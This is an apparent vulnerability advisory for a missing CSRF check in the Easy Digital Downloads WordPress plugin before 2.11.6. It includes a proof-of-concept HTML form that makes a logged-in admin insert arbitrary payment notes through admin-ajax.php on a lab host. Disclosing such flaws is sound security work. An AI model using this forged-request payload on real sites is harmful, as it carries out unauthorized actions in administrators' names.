Easy Digital Downloads < 2.11.6 - Arbitrary Payment Note Insertion via CSRF

2022-03-2800:00:00

muhamad hidayat

0.001 Low

EPSS

Percentile

30.0%

JSON

The plugin does not have CSRF check in place when inserting payment notes, which could allow attackers to make a logged admin insert arbitrary notes via a CSRF attack

<html>
  <body>
    <form action="http://wp.lab/wordpress/wordpress/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="edd_insert_payment_note" />
      <input type="hidden" name="payment_id" value="{id_payment}" />
      <input type="hidden" name="note" value="GOTINJECTED" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

References

plugins.trac.wordpress.org/changeset/2697388

0.001 Low

EPSS

Percentile

30.0%

JSON

Related for WPEX-ID:50680797-61E4-4737-898F-E5B394D89117